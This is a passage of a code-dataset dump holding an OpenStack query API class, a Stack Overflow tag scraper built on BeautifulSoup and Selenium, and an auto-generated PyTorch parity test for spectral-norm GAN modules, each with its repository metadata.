mappings - group name to list of values of\n selected group by property to be included in each group\n :param include_ungrouped_results: an optional flag to include a \"ungrouped\" group to the\n output of values found that were\n not specified in group mappings - ignored if group ranges not given\n \"\"\"\n self.parser.parse_group_by(group_by, group_ranges, include_ungrouped_results)\n return self\n\n def run(\n self,\n cloud_account: Union[str, CloudDomains],\n from_subset: Optional[List[OpenstackResourceObj]] = None,\n **kwargs,\n ):\n \"\"\"\n Public method that runs the query provided and outputs\n :param cloud_account: A String or a CloudDomains Enum for the clouds configuration to use\n :param from_subset: A subset of openstack resources to run query on instead of querying openstacksdk\n :param kwargs: keyword args that can be used to configure details of how query is run\n - valid kwargs specific to resource\n \"\"\"\n\n if from_subset:\n logger.debug(\n \"'from_subset' optional param given - will run client-side filters only\"\n )\n self.executer.client_side_filters = (\n self.builder.client_side_filters + self.builder.server_filter_fallback\n )\n self.executer.server_side_filters = None\n else:\n self.executer.client_side_filters = self.builder.client_side_filters\n self.executer.server_side_filters = self.builder.server_side_filters\n\n self.executer.run_query(\n cloud_account=cloud_account,\n from_subset=from_subset,\n **kwargs,\n )\n self._query_run = True\n return self\n\n def to_list(\n self, as_objects=False, flatten=False, groups: Optional[List[str]] = None\n ) -> Union[Dict[str, List], List[Dict[str, str]]]:\n \"\"\"\n Public method to return results as a list (ungrouped) or dict (if grouped/flattened)\n :param as_objects: if true return result as openstack objects\n :param flatten: boolean which will flatten results if true\n :param groups: a list group to limit output by\n \"\"\"\n result_as_objects, selected_results = self.executer.parse_results(\n parse_func=self.parser.run_parser, output_func=self.output.generate_output\n )\n results = result_as_objects if as_objects else selected_results\n\n if groups:\n if not isinstance(results, dict):\n raise ParseQueryError(\n f\"Result is not grouped - cannot filter by given group(s) {groups}\"\n )\n if not all(group in results.keys() for group in groups):\n raise ParseQueryError(\n f\"Group(s) given are invalid - valid groups {list(results.keys())}\"\n )\n return {group_key: results[group_key] for group_key in groups}\n\n if flatten:\n return self.output.flatten(results)\n return results\n\n def to_string(\n self, title: Optional[str] = None, groups: Optional[List[str]] = None, **kwargs\n ) -> str:\n \"\"\"\n Public method to return results as table(s)\n :param title: an optional title for the table(s)\n :param groups: a list group to limit output by\n :param kwargs: kwargs to pass to generate table\n \"\"\"\n _, selected_results = self.executer.parse_results(\n parse_func=self.parser.run_parser, output_func=self.output.generate_output\n )\n\n return self.output.to_string(selected_results, title, groups, **kwargs)\n\n def to_html(\n self, title: Optional[str] = None, groups: Optional[List[str]] = None, **kwargs\n ) -> str:\n \"\"\"\n Public method to return results as html table\n :param title: an optional title for the table(s) - will be converted to html automatically\n :param groups: a list group to limit output by\n :param kwargs: kwargs to pass to generate table\n \"\"\"\n _, selected_results = self.executer.parse_results(\n parse_func=self.parser.run_parser, output_func=self.output.generate_output\n )\n return self.output.to_html(selected_results, title, groups, **kwargs)\n\n def then(\n self, query_type: Union[str, QueryTypes], keep_previous_results: bool = True\n ):\n \"\"\"\n Public method to chain current query into another query of a different type\n and return the new query so that it will work only on the results of the original query.\n NOTE - query must be run first for this to work\n NOTE - a shared common property must exist between this query and the new query\n - i.e. both ServerQuery and UserQuery share the 'USER_ID' property so chaining is possible\n - see Mappings for more chaining options\n\n :param query_type: an enum representing the new query to chain into\n :param keep_previous_results:\n - If True - will forward outputs from this query (and previous chained queries) onto new query.\n - If False - runs the query based on the previous results as a filter without adding additional fields\n NOTE: You will NOT be able to group/sort by these properties in the new query\n \"\"\"\n return self.chainer.parse_then(self, query_type, keep_previous_results)\n\n def append_from(\n self,\n query_type: Union[str, QueryTypes],\n cloud_account: Union[str, CloudDomains],\n *props: PropEnum,\n ):\n \"\"\"\n Public method to append specific properties from other queries to the output\n of this query. This method will run a secondary query on top of this one to get required properties\n and append the properties to the results of this query\n NOTE - query must be run first for this to work\n NOTE - a shared common property must exist between this query and the new query\n - i.e. both ServerQuery and UserQuery share the 'USER_ID' property so chaining is possible\n - see Mappings for more chaining options\n\n :param query_type: an enum representing the new query to chain into\n :param cloud_account: A String or a CloudDomains Enum for the clouds configuration to use\n :param props: list of props from new queries to get\n \"\"\"\n if isinstance(query_type, str):\n query_type = QueryTypes.from_string(query_type)\n\n new_query = self.then(query_type, keep_previous_results=False)\n new_query.select(*props)\n new_query.run(cloud_account)\n\n link_props = self.chainer.get_link_props(query_type)\n new_query.group_by(link_props[1])\n\n self.output.update_forwarded_outputs(link_props[0], new_query.to_list())\n return self\n", "repo_name": "stfc/st2-cloud-pack", "sub_path": "lib/openstack_query/api/query_api.py", "file_name": "query_api.py", "file_ext": "py", "file_size_in_byte": 10950, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 13, "usage_type": "call"}, {"api_name": "structs.query.query_components.QueryComponents", "line_number": 21, "usage_type": "name"}, {"api_name": "enums.query.props.prop_enum.PropEnum", "line_number": 29, "usage_type": "name"}, {"api_name": "exceptions.parse_query_error.ParseQueryError", "line_number": 40, "usage_type": "call"}, {"api_name": "enums.query.query_presets.QueryPresets", "line_number": 65, "usage_type": "name"}, {"api_name": "enums.query.props.prop_enum.PropEnum", "line_number": 65, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 92, "usage_type": "name"}, {"api_name": "enums.query.props.prop_enum.PropEnum", "line_number": 92, "usage_type": "name"}, {"api_name": "enums.query.sort_order.SortOrder", "line_number": 92, "usage_type": "name"}, {"api_name": "enums.query.props.prop_enum.PropEnum", "line_number": 103, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 104, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 104, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 104, "usage_type": "name"}, {"api_name": "custom_types.openstack_query.aliases.PropValue", "line_number": 104, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 121, "usage_type": "name"}, {"api_name": "enums.cloud_domains.CloudDomains", "line_number": 121, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 122, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 122, "usage_type": "name"}, {"api_name": "custom_types.openstack_query.aliases.OpenstackResourceObj", "line_number": 122, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 154, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 154, "usage_type": "name"}, {"api_name": "exceptions.parse_query_error.ParseQueryError", "line_number": 169, "usage_type": "call"}, {"api_name": "exceptions.parse_query_error.ParseQueryError", "line_number": 173, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 155, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 155, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 155, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 183, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 183, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 198, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 198, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 212, "usage_type": "name"}, {"api_name": "enums.query.query_types.QueryTypes", "line_number": 212, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 232, "usage_type": "name"}, {"api_name": "enums.query.query_types.QueryTypes", "line_number": 232, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 233, "usage_type": "name"}, {"api_name": "enums.cloud_domains.CloudDomains", "line_number": 233, "usage_type": "name"}, {"api_name": "enums.query.props.prop_enum.PropEnum", "line_number": 234, "usage_type": "name"}, {"api_name": "enums.query.query_types.QueryTypes.from_string", "line_number": 250, "usage_type": "call"}, {"api_name": "enums.query.query_types.QueryTypes", "line_number": 250, "usage_type": "name"}]} {"seq_id": "2031414579", "text": "from urllib.request import urlopen\nfrom bs4 import BeautifulSoup\n\nclass StackoverflowScrapper:\n\n def __init__(self, name):\n main_url = \"http://stackoverflow.com/tags/%s/info\" %(name)\n html = urlopen(main_url)\n self.bsObj = BeautifulSoup(html, \"lxml\")\n\n def check_wiki_extract_same_paragraph(self, tagInfo):\n wiki_extract = tagInfo.find('div', {'id': 'wiki-excerpt'})\n children = tagInfo.children\n childs = []\n for child in children:\n if child.name == 'p':\n childs.append(child.get_text())\n if childs[0] == wiki_extract.get_text().strip(): return True\n\n def get_tag_description(self):\n try:\n tagInfo = self.bsObj.find('div', {'class': 'post-text'})\n paragraphs = tagInfo.findAll(\"p\")\n description = \"\"\n idx = 0\n if self.check_wiki_extract_same_paragraph(tagInfo): idx = 1\n for paragraph in paragraphs[idx:]:\n link = paragraph.find(\"a\")\n if link is not None:\n if link.get_text() != paragraph.get_text():\n description += paragraph.get_text().strip(\" \")\n else:\n description += paragraph.get_text().strip(\" \")\n for tag in self.bsObj.findAll(\"li\"):\n if tag.find(\"a\") is None:\n description += tag.get_text()\n return description\n except Exception as e:\n print(str(e))\n return None\n\n def get_links(self):\n result_links = []\n try:\n tag_info = self.bsObj.find('div', {'class': 'post-text'})\n links = tag_info.findAll(\"a\")\n for link in links:\n url = link.attrs['href']\n if '/questions/tagged' not in url:\n title = link.get_text()\n result_links.append({'title': title, 'url': url})\n return result_links\n except Exception as e:\n print(str(e))\n return None\n\n def get_stats(self):\n try:\n table = self.bsObj.find(\"table\", {\"id\": \"qinfo\"})\n rows = table.findAll(\"tr\")\n stats = \"\"\n for row in rows:\n for cell in row.findAll(['td']):\n stats += cell.find(\"p\").get_text().strip() + ' '\n stats += '\\n'\n return stats\n except:\n return None\n\n\ndef get_followers(name):\n import selenium\n from selenium import webdriver\n from selenium.webdriver import ActionChains\n from selenium.webdriver.common.keys import Keys\n import time\n driver = webdriver.PhantomJS()\n driver.get('http://stackoverflow.com/tags')\n search_input = driver.find_element_by_id('tagfilter')\n search_input.send_keys(name)\n search_input.send_keys(Keys.RETURN)\n time.sleep(20)\n element = driver.find_element_by_link_text(name)\n hover = ActionChains(driver).move_to_element(element)\n hover.perform()\n time.sleep(10)\n info = driver.find_element_by_class_name('tm-sub-info')\n text = info.text\n print(\"Original: %s\" %(text))\n followers, questions = text.split(',')\n followers = followers.replace('followers', '')\n followers = followers.replace('follower', '')\n\n if 'k' in followers:\n followers = followers.replace('k', '')\n followers = float(followers.strip(' '))\n followers = followers * 1000\n else:\n followers = int(followers.strip())\n\n\n questions = questions.replace('questions', '')\n questions = questions.replace('\\nrss', '')\n if 'k' in questions:\n index = questions.index('k')\n questions = questions[:index]\n questions = questions.replace('k', '')\n questions = float(questions.strip(' '))\n questions = questions * 1000\n else:\n questions = int(questions)\n return followers, questions\n", "repo_name": "maritza05/NosqlEngine", "sub_path": "nosql/libs/webcrawlers/stackoverflow_crawlers/stackoverflow_main.py", "file_name": "stackoverflow_main.py", "file_ext": "py", "file_size_in_byte": 3920, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "urllib.request.urlopen", "line_number": 8, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 9, "usage_type": "call"}, {"api_name": "selenium.webdriver.PhantomJS", "line_number": 77, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 77, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.keys.Keys.RETURN", "line_number": 81, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.keys.Keys", "line_number": 81, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 82, "usage_type": "call"}, {"api_name": "selenium.webdriver.ActionChains", "line_number": 84, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 86, "usage_type": "call"}]} {"seq_id": "30190081722", "text": "import sys\n_module = sys.modules[__name__]\ndel sys\nmodels = _module\nmodels = _module\nsnres_discriminator = _module\nsnres_generator = _module\nsrc = _module\nfunctions = _module\nmax_sv = _module\nsnlayers = _module\nsnconv2d = _module\nsnlinear = _module\ntest = _module\ntrain = _module\n\nfrom _paritybench_helpers import _mock_config, patch_functional\nfrom unittest.mock import mock_open, MagicMock\nfrom torch.autograd import Function\nfrom torch.nn import Module\nimport abc, collections, copy, enum, functools, inspect, itertools, logging, math, matplotlib, numbers, numpy, pandas, queue, random, re, scipy, sklearn, string, tensorflow, time, torch, torchaudio, torchtext, torchvision, types, typing, uuid, warnings\nimport numpy as np\nfrom torch import Tensor\npatch_functional()\nopen = mock_open()\nyaml = logging = sys = argparse = MagicMock()\nArgumentParser = argparse.ArgumentParser\n_global_config = args = argv = cfg = config = params = _mock_config()\nargparse.ArgumentParser.return_value.parse_args.return_value = _global_config\nyaml.load.return_value = _global_config\nsys.argv = _global_config\n__version__ = '1.0.0'\nxrange = range\nwraps = functools.wraps\n\n\nimport torch.nn as nn\n\n\nimport torch\n\n\nfrom torch.nn.modules import conv\n\n\nfrom torch.nn.modules import Linear\n\n\nimport torch.nn.functional as F\n\n\nfrom torch.nn.modules.utils import _pair\n\n\nimport torch.optim as optim\n\n\nfrom torchvision import datasets\n\n\nfrom torchvision import transforms\n\n\nimport torchvision.utils as vutils\n\n\nfrom torch.autograd import Variable\n\n\nimport torch.utils.data\n\n\nfrom torch.nn.modules.utils import _triple\n\n\nimport torch.backends.cudnn as cudnn\n\n\nimport random\n\n\nimport numpy as np\n\n\nimport matplotlib.pyplot as plt\n\n\nclass _netG(nn.Module):\n\n def __init__(self, nz, nc, ngf):\n super(_netG, self).__init__()\n self.convT1 = nn.Sequential(nn.ConvTranspose2d(nz, ngf * 4, 4, 1, 0, bias=False), nn.BatchNorm2d(ngf * 4), nn.ReLU(True))\n self.convT2 = nn.Sequential(nn.ConvTranspose2d(10, ngf * 4, 4, 1, 0, bias=False), nn.BatchNorm2d(ngf * 4), nn.ReLU(True))\n self.main = nn.Sequential(nn.ConvTranspose2d(ngf * 8, ngf * 4, 4, 2, 1, bias=False), nn.BatchNorm2d(ngf * 4), nn.ReLU(True), nn.ConvTranspose2d(ngf * 4, ngf * 2, 4, 2, 1, bias=False), nn.BatchNorm2d(ngf * 2), nn.ReLU(True), nn.ConvTranspose2d(ngf * 2, ngf, 4, 2, 1, bias=False), nn.BatchNorm2d(ngf), nn.ReLU(True), nn.ConvTranspose2d(ngf, nc, 4, 2, 1, bias=False), nn.Tanh())\n\n def forward(self, input, input_c):\n out1 = self.convT1(input)\n out2 = self.convT2(input_c)\n output = torch.cat([out1, out2], 1)\n output = self.main(output)\n return output\n\n\ndef _l2normalize(v, eps=1e-12):\n return v / ((v ** 2).sum() ** 0.5 + eps)\n\n\ndef max_singular_value(W, u=None, Ip=1):\n \"\"\"\n power iteration for weight parameter\n \"\"\"\n if u is None:\n u = torch.FloatTensor(1, W.size(0)).normal_(0, 1)\n _u = u\n for _ in range(Ip):\n _v = _l2normalize(torch.matmul(_u, W.data), eps=1e-12)\n _u = _l2normalize(torch.matmul(_v, torch.transpose(W.data, 0, 1)), eps=1e-12)\n sigma = torch.matmul(torch.matmul(_v, torch.transpose(W.data, 0, 1)), torch.transpose(_u, 0, 1))\n return sigma, _v\n\n\nclass SNConv2d(conv._ConvNd):\n\n def __init__(self, in_channels, out_channels, kernel_size, stride=1, padding=0, dilation=1, groups=1, bias=True):\n kernel_size = _pair(kernel_size)\n stride = _pair(stride)\n padding = _pair(padding)\n dilation = _pair(dilation)\n super(SNConv2d, self).__init__(in_channels, out_channels, kernel_size, stride, padding, dilation, False, _pair(0), groups, bias)\n\n def forward(self, input):\n w_mat = self.weight.view(self.weight.size(0), -1)\n sigma, _ = max_singular_value(w_mat)\n self.weight.data = self.weight.data / sigma\n return F.conv2d(input, self.weight, self.bias, self.stride, self.padding, self.dilation, self.groups)\n\n\nclass _netD(nn.Module):\n\n def __init__(self, nc, ndf):\n super(_netD, self).__init__()\n self.conv1_1 = SNConv2d(nc, ndf / 2, 3, 1, 1, bias=False)\n self.conv1_2 = SNConv2d(10, ndf / 2, 3, 1, 1, bias=False)\n self.lrelu = nn.LeakyReLU(0.2, inplace=True)\n self.main = nn.Sequential(SNConv2d(ndf, ndf, 4, 2, 1, bias=False), nn.LeakyReLU(0.2, inplace=True), SNConv2d(ndf, ndf * 2, 3, 1, 1, bias=False), nn.LeakyReLU(0.2, inplace=True), SNConv2d(ndf * 2, ndf * 2, 4, 2, 1, bias=False), nn.LeakyReLU(0.2, inplace=True), SNConv2d(ndf * 2, ndf * 4, 3, 1, 1, bias=False), nn.LeakyReLU(0.2, inplace=True), SNConv2d(ndf * 4, ndf * 4, 4, 2, 1, bias=False), nn.LeakyReLU(0.2, inplace=True), SNConv2d(ndf * 4, ndf * 8, 3, 1, 1, bias=False), nn.LeakyReLU(0.2, inplace=True), SNConv2d(ndf * 8, ndf * 8, 4, 2, 1, bias=False), nn.LeakyReLU(0.2, inplace=True), SNConv2d(ndf * 8, 1, 4, 1, 0, bias=False))\n\n def forward(self, input, input_c):\n out1 = self.lrelu(self.conv1_1(input))\n out2 = self.lrelu(self.conv1_2(input_c))\n output = torch.cat([out1, out2], 1)\n output = self.main(output)\n return output.view(-1, 1).squeeze(1)\n\n\nclass ResBlock(nn.Module):\n\n def __init__(self, in_channels, out_channels, hidden_channels=None, upsample=False):\n super(ResBlock, self).__init__()\n hidden_channels = in_channels\n self.upsample = upsample\n self.conv1 = nn.Conv2d(in_channels, hidden_channels, kernel_size=3, padding=1)\n self.conv2 = nn.Conv2d(hidden_channels, out_channels, kernel_size=3, padding=1)\n self.conv_sc = nn.Conv2d(in_channels, out_channels, kernel_size=1, padding=0)\n self.upsampling = nn.UpsamplingBilinear2d(scale_factor=2)\n self.bn1 = nn.BatchNorm2d(in_channels)\n self.bn2 = nn.BatchNorm2d(hidden_channels)\n self.relu = nn.ReLU()\n\n def forward_residual_connect(self, input):\n out = self.conv_sc(input)\n if self.upsample:\n out = self.upsampling(out)\n return out\n\n def forward(self, input):\n out = self.relu(self.bn1(input))\n out = self.conv1(out)\n if self.upsample:\n out = self.upsampling(out)\n out = self.relu(self.bn2(out))\n out = self.conv2(out)\n out_res = self.forward_residual_connect(input)\n return out + out_res\n\n\nclass OptimizedBlock(nn.Module):\n\n def __init__(self, in_channels, out_channels):\n super(OptimizedBlock, self).__init__()\n self.res_block = self.make_res_block(in_channels, out_channels)\n self.residual_connect = self.make_residual_connect(in_channels, out_channels)\n\n def make_res_block(self, in_channels, out_channels):\n model = []\n model += [SNConv2d(in_channels, out_channels, kernel_size=3, padding=1)]\n model += [nn.ReLU()]\n model += [SNConv2d(out_channels, out_channels, kernel_size=3, padding=1)]\n model += [nn.AvgPool2d(2)]\n return nn.Sequential(*model)\n\n def make_residual_connect(self, in_channels, out_channels):\n model = []\n model += [SNConv2d(in_channels, out_channels, kernel_size=1, padding=0)]\n model += [nn.AvgPool2d(2)]\n return nn.Sequential(*model)\n\n def forward(self, input):\n return self.res_block(input) + self.residual_connect(input)\n\n\nclass SNLinear(Linear):\n \"\"\"Applies a linear transformation to the incoming data: :math:`y = Ax + b`\n Args:\n in_features: size of each input sample\n out_features: size of each output sample\n bias: If set to False, the layer will not learn an additive bias.\n Default: ``True``\n Shape:\n - Input: :math:`(N, *, in\\\\_features)` where :math:`*` means any number of\n additional dimensions\n - Output: :math:`(N, *, out\\\\_features)` where all but the last dimension\n are the same shape as the input.\n Attributes:\n weight: the learnable weights of the module of shape\n `(out_features x in_features)`\n bias: the learnable bias of the module of shape `(out_features)`\n\n W(Tensor): Spectrally normalized weight\n\n u (Tensor): the right largest singular value of W.\n \"\"\"\n\n def __init__(self, in_features, out_features, bias=True):\n super(SNLinear, self).__init__(in_features, out_features, bias)\n self.register_buffer('u', torch.Tensor(1, out_features).normal_())\n\n @property\n def W_(self):\n w_mat = self.weight.view(self.weight.size(0), -1)\n sigma, _u = max_singular_value(w_mat, self.u)\n self.u.copy_(_u)\n return self.weight / sigma\n\n def forward(self, input):\n return F.linear(input, self.W_, self.bias)\n\n\nclass SNResDiscriminator(nn.Module):\n\n def __init__(self, ndf=64, ndlayers=4):\n super(SNResDiscriminator, self).__init__()\n self.res_d = self.make_model(ndf, ndlayers)\n self.fc = nn.Sequential(SNLinear(ndf * 16, 1), nn.Sigmoid())\n\n def make_model(self, ndf, ndlayers):\n model = []\n model += [OptimizedBlock(3, ndf)]\n tndf = ndf\n for i in range(ndlayers):\n model += [ResBlock(tndf, tndf * 2, downsample=True)]\n tndf *= 2\n model += [nn.ReLU()]\n return nn.Sequential(*model)\n\n def forward(self, input):\n out = self.res_d(input)\n out = F.avg_pool2d(out, out.size(3), stride=1)\n out = out.view(-1, 1024)\n return self.fc(out)\n\n\nclass SNResGenerator(nn.Module):\n\n def __init__(self, ngf, z=128, nlayers=4):\n super(SNResGenerator, self).__init__()\n self.input_layer = nn.Linear(z, 4 ** 2 * ngf * 16)\n self.generator = self.make_model(ngf, nlayers)\n\n def make_model(self, ngf, nlayers):\n model = []\n tngf = ngf * 16\n for i in range(nlayers):\n model += [ResBlock(tngf, tngf / 2, upsample=True)]\n tngf /= 2\n model += [nn.BatchNorm2d(ngf)]\n model += [nn.ReLU()]\n model += [nn.Conv2d(ngf, 3, kernel_size=3, stride=1, padding=1)]\n model += [nn.Tanh()]\n return nn.Sequential(*model)\n\n def forward(self, z):\n out = self.input_layer(z)\n out = out.view(z.size(0), -1, 4, 4)\n out = self.generator(out)\n return out\n\n\nimport torch\nfrom torch.nn import MSELoss, ReLU\nfrom _paritybench_helpers import _mock_config, _mock_layer, _paritybench_base, _fails_compile\n\n\nTESTCASES = [\n # (nn.Module, init_args, forward_args, jit_compiles)\n (ResBlock,\n lambda: ([], {'in_channels': 4, 'out_channels': 4}),\n lambda: ([torch.rand([4, 4, 4, 4])], {}),\n True),\n (SNLinear,\n lambda: ([], {'in_features': 4, 'out_features': 4}),\n lambda: ([torch.rand([4, 4, 4, 4])], {}),\n False),\n (_netG,\n lambda: ([], {'nz': 4, 'nc': 4, 'ngf': 4}),\n lambda: ([torch.rand([4, 4, 64, 64]), torch.rand([4, 10, 64, 64])], {}),\n True),\n]\n\nclass Test_godisboy_SN_GAN(_paritybench_base):\n def test_000(self):\n self._check(*TESTCASES[0])\n\n def test_001(self):\n self._check(*TESTCASES[1])\n\n def test_002(self):\n self._check(*TESTCASES[2])\n\n", "repo_name": "eladhoffer/pytorch-jit-paritybench", "sub_path": "generated/test_godisboy_SN_GAN.py", "file_name": "test_godisboy_SN_GAN.py", "file_ext": "py", "file_size_in_byte": 11111, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.modules", "line_number": 2, "usage_type": "attribute"}, {"api_name": "_paritybench_helpers.patch_functional", "line_number": 24, "usage_type": "call"}, {"api_name": "unittest.mock.mock_open", "line_number": 25, "usage_type": "call"}, {"api_name": "unittest.mock.MagicMock", "line_number": 26, "usage_type": "call"}, {"api_name": "_paritybench_helpers._mock_config", "line_number": 28, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 31, "usage_type": "attribute"}, {"api_name": "functools.wraps", "line_number": 34, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 88, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 88, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 92, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 92, "usage_type": "name"}, {"api_name": "torch.nn.ConvTranspose2d", "line_number": 92, "usage_type": "call"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 92, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 92, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 93, "usage_type": "name"}, {"api_name": "torch.nn.ConvTranspose2d", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 94, "usage_type": "name"}, {"api_name": "torch.nn.ConvTranspose2d", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.nn.Tanh", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 99, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.matmul", "line_number": 116, "usage_type": "call"}, {"api_name": "torch.matmul", "line_number": 117, "usage_type": "call"}, {"api_name": "torch.transpose", "line_number": 117, "usage_type": "call"}, {"api_name": "torch.matmul", "line_number": 118, "usage_type": "call"}, {"api_name": "torch.transpose", "line_number": 118, "usage_type": "call"}, {"api_name": "torch.nn.modules.conv._ConvNd", "line_number": 122, "usage_type": "attribute"}, {"api_name": "torch.nn.modules.conv", "line_number": 122, "usage_type": "name"}, {"api_name": "torch.nn.modules.utils._pair", "line_number": 125, "usage_type": "call"}, {"api_name": "torch.nn.modules.utils._pair", "line_number": 126, "usage_type": "call"}, {"api_name": "torch.nn.modules.utils._pair", "line_number": 127, "usage_type": "call"}, {"api_name": "torch.nn.modules.utils._pair", "line_number": 128, "usage_type": "call"}, {"api_name": "torch.nn.modules.utils._pair", "line_number": 129, "usage_type": "call"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 135, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 135, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 138, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 138, "usage_type": "name"}, {"api_name": "torch.nn.LeakyReLU", "line_number": 144, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 144, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 145, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 145, "usage_type": "name"}, {"api_name": "torch.nn.LeakyReLU", "line_number": 145, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 150, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 155, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 155, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 161, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 161, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 162, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 162, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 163, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 163, "usage_type": "name"}, {"api_name": "torch.nn.UpsamplingBilinear2d", "line_number": 164, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 164, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 165, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 165, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 166, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 166, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 167, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 167, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 186, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 186, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 196, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 196, "usage_type": "name"}, {"api_name": "torch.nn.AvgPool2d", "line_number": 198, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 198, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 199, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 199, "usage_type": "name"}, {"api_name": "torch.nn.AvgPool2d", "line_number": 204, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 204, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 205, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 205, "usage_type": "name"}, {"api_name": "torch.nn.modules.Linear", "line_number": 211, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 235, "usage_type": "call"}, {"api_name": "torch.nn.functional.linear", "line_number": 245, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 245, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 248, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 248, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 253, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 253, "usage_type": "name"}, {"api_name": "torch.nn.Sigmoid", "line_number": 253, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 262, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 262, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 263, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 263, "usage_type": "name"}, {"api_name": "torch.nn.functional.avg_pool2d", "line_number": 267, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 267, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 272, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 272, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 276, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 276, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 285, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 285, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 286, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 286, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 287, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 287, "usage_type": "name"}, {"api_name": "torch.nn.Tanh", "line_number": 288, "usage_type": "call"}, {"api_name": 